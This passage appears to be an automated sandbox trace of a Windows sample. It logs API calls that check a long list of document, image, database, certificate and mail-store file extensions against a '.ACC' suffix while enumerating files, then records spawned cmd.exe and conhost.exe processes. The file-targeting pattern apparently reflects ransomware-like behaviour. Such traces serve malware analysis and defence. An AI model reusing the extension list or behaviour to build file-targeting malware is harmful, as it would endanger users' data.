(lpString1=".java", lpString2="2.ACC") returned -1 [0195.962] lstrlenW (lpString=".jp2") returned 4 [0195.962] lstrcmpiW (lpString1=".jp2", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".jpc") returned 4 [0195.962] lstrcmpiW (lpString1=".jpc", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".jpe") returned 4 [0195.962] lstrcmpiW (lpString1=".jpe", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".jpeg") returned 5 [0195.962] lstrcmpiW (lpString1=".jpeg", lpString2="2.ACC") returned -1 [0195.962] lstrlenW (lpString=".jpf") returned 4 [0195.962] lstrcmpiW (lpString1=".jpf", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".jpg") returned 4 [0195.962] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".jpx") returned 4 [0195.962] lstrcmpiW (lpString1=".jpx", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".js") returned 3 [0195.962] lstrcmpiW (lpString1=".js", lpString2="ACC") returned -1 [0195.962] lstrlenW (lpString=".jsf") returned 4 [0195.962] lstrcmpiW (lpString1=".jsf", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".json") returned 5 [0195.962] lstrcmpiW (lpString1=".json", lpString2="2.ACC") returned -1 [0195.962] lstrlenW (lpString=".jsp") returned 4 [0195.962] lstrcmpiW (lpString1=".jsp", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".kdc") returned 4 [0195.962] lstrcmpiW (lpString1=".kdc", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".kmz") returned 4 [0195.962] lstrcmpiW (lpString1=".kmz", lpString2=".ACC") returned 1 [0195.962] lstrlenW (lpString=".kwm") returned 4 [0195.962] lstrcmpiW (lpString1=".kwm", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".lasso") returned 6 [0195.963] lstrcmpiW (lpString1=".lasso", lpString2="12.ACC") returned -1 [0195.963] lstrlenW (lpString=".lbi") returned 4 [0195.963] lstrcmpiW (lpString1=".lbi", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".lgf") returned 4 [0195.963] lstrcmpiW (lpString1=".lgf", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".lgp") returned 4 [0195.963] lstrcmpiW (lpString1=".lgp", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".log") returned 4 [0195.963] lstrcmpiW (lpString1=".log", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".m1v") returned 4 [0195.963] lstrcmpiW (lpString1=".m1v", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".m4a") returned 4 [0195.963] lstrcmpiW (lpString1=".m4a", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".m4v") returned 4 [0195.963] lstrcmpiW (lpString1=".m4v", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".max") returned 4 [0195.963] lstrcmpiW (lpString1=".max", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".md") returned 3 [0195.963] lstrcmpiW (lpString1=".md", lpString2="ACC") returned -1 [0195.963] lstrlenW (lpString=".mda") returned 4 [0195.963] lstrcmpiW (lpString1=".mda", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mdb") returned 4 [0195.963] lstrcmpiW (lpString1=".mdb", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mde") returned 4 [0195.963] lstrcmpiW (lpString1=".mde", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mdf") returned 4 [0195.963] lstrcmpiW (lpString1=".mdf", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mdw") returned 4 [0195.963] lstrcmpiW (lpString1=".mdw", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mef") returned 4 [0195.963] lstrcmpiW (lpString1=".mef", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mft") returned 4 [0195.963] lstrcmpiW (lpString1=".mft", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mfw") returned 4 [0195.963] lstrcmpiW (lpString1=".mfw", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mht") returned 4 [0195.963] lstrcmpiW (lpString1=".mht", lpString2=".ACC") returned 1 [0195.963] lstrlenW (lpString=".mhtml") returned 6 [0195.964] lstrcmpiW (lpString1=".mhtml", lpString2="12.ACC") returned -1 [0195.964] lstrlenW (lpString=".mka") returned 4 [0195.964] lstrcmpiW (lpString1=".mka", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mkidx") returned 6 [0195.964] lstrcmpiW (lpString1=".mkidx", lpString2="12.ACC") returned -1 [0195.964] lstrlenW (lpString=".mkv") returned 4 [0195.964] lstrcmpiW (lpString1=".mkv", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mos") returned 4 [0195.964] lstrcmpiW (lpString1=".mos", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mov") returned 4 [0195.964] lstrcmpiW (lpString1=".mov", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mp3") returned 4 [0195.964] lstrcmpiW (lpString1=".mp3", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mp4") returned 4 [0195.964] lstrcmpiW (lpString1=".mp4", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mpeg") returned 5 [0195.964] lstrcmpiW (lpString1=".mpeg", lpString2="2.ACC") returned -1 [0195.964] lstrlenW (lpString=".mpg") returned 4 [0195.964] lstrcmpiW (lpString1=".mpg", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mpv") returned 4 [0195.964] lstrcmpiW (lpString1=".mpv", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mrw") returned 4 [0195.964] lstrcmpiW (lpString1=".mrw", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".msg") returned 4 [0195.964] lstrcmpiW (lpString1=".msg", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".mxl") returned 4 [0195.964] lstrcmpiW (lpString1=".mxl", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".myd") returned 4 [0195.964] lstrcmpiW (lpString1=".myd", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".myi") returned 4 [0195.964] lstrcmpiW (lpString1=".myi", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".nef") returned 4 [0195.964] lstrcmpiW (lpString1=".nef", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".nrw") returned 4 [0195.964] lstrcmpiW (lpString1=".nrw", lpString2=".ACC") returned 1 [0195.964] lstrlenW (lpString=".obj") returned 4 [0195.964] lstrcmpiW (lpString1=".obj", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".odb") returned 4 [0195.965] lstrcmpiW (lpString1=".odb", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".odc") returned 4 [0195.965] lstrcmpiW (lpString1=".odc", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".odm") returned 4 [0195.965] lstrcmpiW (lpString1=".odm", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".odp") returned 4 [0195.965] lstrcmpiW (lpString1=".odp", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".ods") returned 4 [0195.965] lstrcmpiW (lpString1=".ods", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".oft") returned 4 [0195.965] lstrcmpiW (lpString1=".oft", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".one") returned 4 [0195.965] lstrcmpiW (lpString1=".one", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".onepkg") returned 7 [0195.965] lstrcmpiW (lpString1=".onepkg", lpString2="S12.ACC") returned -1 [0195.965] lstrlenW (lpString=".onetoc2") returned 8 [0195.965] lstrcmpiW (lpString1=".onetoc2", lpString2="SS12.ACC") returned -1 [0195.965] lstrlenW (lpString=".opt") returned 4 [0195.965] lstrcmpiW (lpString1=".opt", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".oqy") returned 4 [0195.965] lstrcmpiW (lpString1=".oqy", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".orf") returned 4 [0195.965] lstrcmpiW (lpString1=".orf", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".p12") returned 4 [0195.965] lstrcmpiW (lpString1=".p12", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".p7b") returned 4 [0195.965] lstrcmpiW (lpString1=".p7b", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".p7c") returned 4 [0195.965] lstrcmpiW (lpString1=".p7c", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".pam") returned 4 [0195.965] lstrcmpiW (lpString1=".pam", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".pbm") returned 4 [0195.965] lstrcmpiW (lpString1=".pbm", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".pct") returned 4 [0195.965] lstrcmpiW (lpString1=".pct", lpString2=".ACC") returned 1 [0195.965] lstrlenW (lpString=".pcx") returned 4 [0195.966] lstrcmpiW (lpString1=".pcx", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pdd") returned 4 [0195.966] lstrcmpiW (lpString1=".pdd", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pdf") returned 4 [0195.966] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pdp") returned 4 [0195.966] lstrcmpiW (lpString1=".pdp", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pef") returned 4 [0195.966] lstrcmpiW (lpString1=".pef", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pem") returned 4 [0195.966] lstrcmpiW (lpString1=".pem", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pff") returned 4 [0195.966] lstrcmpiW (lpString1=".pff", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pfm") returned 4 [0195.966] lstrcmpiW (lpString1=".pfm", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pfx") returned 4 [0195.966] lstrcmpiW (lpString1=".pfx", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pgm") returned 4 [0195.966] lstrcmpiW (lpString1=".pgm", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".php") returned 4 [0195.966] lstrcmpiW (lpString1=".php", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".php3") returned 5 [0195.966] lstrcmpiW (lpString1=".php3", lpString2="2.ACC") returned -1 [0195.966] lstrlenW (lpString=".php4") returned 5 [0195.966] lstrcmpiW (lpString1=".php4", lpString2="2.ACC") returned -1 [0195.966] lstrlenW (lpString=".php5") returned 5 [0195.966] lstrcmpiW (lpString1=".php5", lpString2="2.ACC") returned -1 [0195.966] lstrlenW (lpString=".phtml") returned 6 [0195.966] lstrcmpiW (lpString1=".phtml", lpString2="12.ACC") returned -1 [0195.966] lstrlenW (lpString=".pict") returned 5 [0195.966] lstrcmpiW (lpString1=".pict", lpString2="2.ACC") returned -1 [0195.966] lstrlenW (lpString=".pl") returned 3 [0195.966] lstrcmpiW (lpString1=".pl", lpString2="ACC") returned -1 [0195.966] lstrlenW (lpString=".pls") returned 4 [0195.966] lstrcmpiW (lpString1=".pls", lpString2=".ACC") returned 1 [0195.966] lstrlenW (lpString=".pm") returned 3 [0195.966] lstrcmpiW (lpString1=".pm", lpString2="ACC") returned -1 [0195.967] lstrlenW (lpString=".png") returned 4 [0195.967] lstrcmpiW (lpString1=".png", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".pnm") returned 4 [0195.967] lstrcmpiW (lpString1=".pnm", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".pot") returned 4 [0195.967] lstrcmpiW (lpString1=".pot", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".potm") returned 5 [0195.967] lstrcmpiW (lpString1=".potm", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".potx") returned 5 [0195.967] lstrcmpiW (lpString1=".potx", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".ppa") returned 4 [0195.967] lstrcmpiW (lpString1=".ppa", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".ppam") returned 5 [0195.967] lstrcmpiW (lpString1=".ppam", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".ppm") returned 4 [0195.967] lstrcmpiW (lpString1=".ppm", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".pps") returned 4 [0195.967] lstrcmpiW (lpString1=".pps", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".ppsm") returned 5 [0195.967] lstrcmpiW (lpString1=".ppsm", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".ppt") returned 4 [0195.967] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".pptm") returned 5 [0195.967] lstrcmpiW (lpString1=".pptm", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".pptx") returned 5 [0195.967] lstrcmpiW (lpString1=".pptx", lpString2="2.ACC") returned -1 [0195.967] lstrlenW (lpString=".prn") returned 4 [0195.967] lstrcmpiW (lpString1=".prn", lpString2=".ACC") returned 1 [0195.967] lstrlenW (lpString=".ps") returned 3 [0195.967] lstrcmpiW (lpString1=".ps", lpString2="ACC") returned -1 [0195.968] lstrlenW (lpString=".psb") returned 4 [0195.968] lstrcmpiW (lpString1=".psb", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".psd") returned 4 [0195.968] lstrcmpiW (lpString1=".psd", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".pst") returned 4 [0195.968] lstrcmpiW (lpString1=".pst", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".ptx") returned 4 [0195.968] lstrcmpiW (lpString1=".ptx", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".pub") returned 4 [0195.968] lstrcmpiW (lpString1=".pub", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".pwm") returned 4 [0195.968] lstrcmpiW (lpString1=".pwm", lpString2=".ACC") returned 1 [0195.968] lstrlenW (lpString=".pxr") returned 4 [0195.968] lstrcmpiW (lpString1=".pxr", lpString2=".ACC") returned 1 [0195.968] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ea0070 | out: hHeap=0x660000) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2e056000" os_pid = "0xfb4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdb0" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0xfb8 [0195.586] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff751500000 [0195.586] __set_app_type (_Type=0x1) [0195.586] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff751516d00) returned 0x0 [0196.049] __getmainargs (in: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210, _DoWildCard=0, _StartInfo=0x7ff75153921c | out: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210) returned 0 [0196.049] _onexit (_Func=0x7ff751517fd0) returned 0x7ff751517fd0 [0196.049] _onexit (_Func=0x7ff751517fe0) returned 0x7ff751517fe0 [0196.049] _onexit (_Func=0x7ff751517ff0) returned 0x7ff751517ff0 [0196.049] _onexit (_Func=0x7ff751518000) returned 0x7ff751518000 [0196.050] _onexit (_Func=0x7ff751518010) returned 0x7ff751518010 [0196.051] _onexit (_Func=0x7ff751518020) returned 0x7ff751518020 [0196.051] GetCurrentThreadId () returned 0xfb8 [0196.051] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfb8) returned 0x70 [0196.051] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff868d00000 [0196.051] GetProcAddress (hModule=0x7ff868d00000, lpProcName="SetThreadUILanguage") returned 0x7ff868d1a990 [0196.051] SetThreadUILanguage (LangId=0x0) Thread: id = 111 os_tid = 0x5c4 Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x26eb8000" os_pid = "0xfbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xfa8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0xfc0 [0195.982] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff751500000 [0195.982] __set_app_type (_Type=0x1) [0195.982] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff751516d00) returned 0x0 [0195.982] __getmainargs (in: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210, _DoWildCard=0, _StartInfo=0x7ff75153921c | out: _Argc=0x7ff751539200, _Argv=0x7ff751539208, _Env=0x7ff751539210) returned 0 [0195.983] _onexit (_Func=0x7ff751517fd0) returned 0x7ff751517fd0 [0195.983] _onexit (_Func=0x7ff751517fe0) returned 0x7ff751517fe0 [0195.983] _onexit (_Func=0x7ff751517ff0) returned 0x7ff751517ff0 [0195.983] _onexit (_Func=0x7ff751518000) returned 0x7ff751518000 [0195.983] _onexit (_Func=0x7ff751518010) returned 0x7ff751518010 [0195.984] _onexit (_Func=0x7ff751518020) returned 0x7ff751518020 [0195.984] GetCurrentThreadId () returned 0xfc0 [0195.984] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc0) returned 0x70 [0195.984] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff868d00000 [0195.984] GetProcAddress (hModule=0x7ff868d00000, lpProcName="SetThreadUILanguage") returned 0x7ff868d1a990 [0195.984] SetThreadUILanguage (LangId=0x0) Process: id = "15" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2dd84000" os_pid = "0xfd4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xfb4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0xfd8 Thread: id = 98 os_tid = 0xffc Thread: id = 105 os_tid = 0x970 Thread: id = 107 os_tid = 0xccc Thread: id = 108 os_tid = 0xcd0 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x270f6000" os_pid = "0xfdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xfbc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011303" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0xfe0 Thread: id = 104 os_tid = 0x96c Thread: id = 106 os_tid = 0x67c Thread: id = 109 os_tid = 0x5b0 Thread: id = 110 os_tid = 0x5c0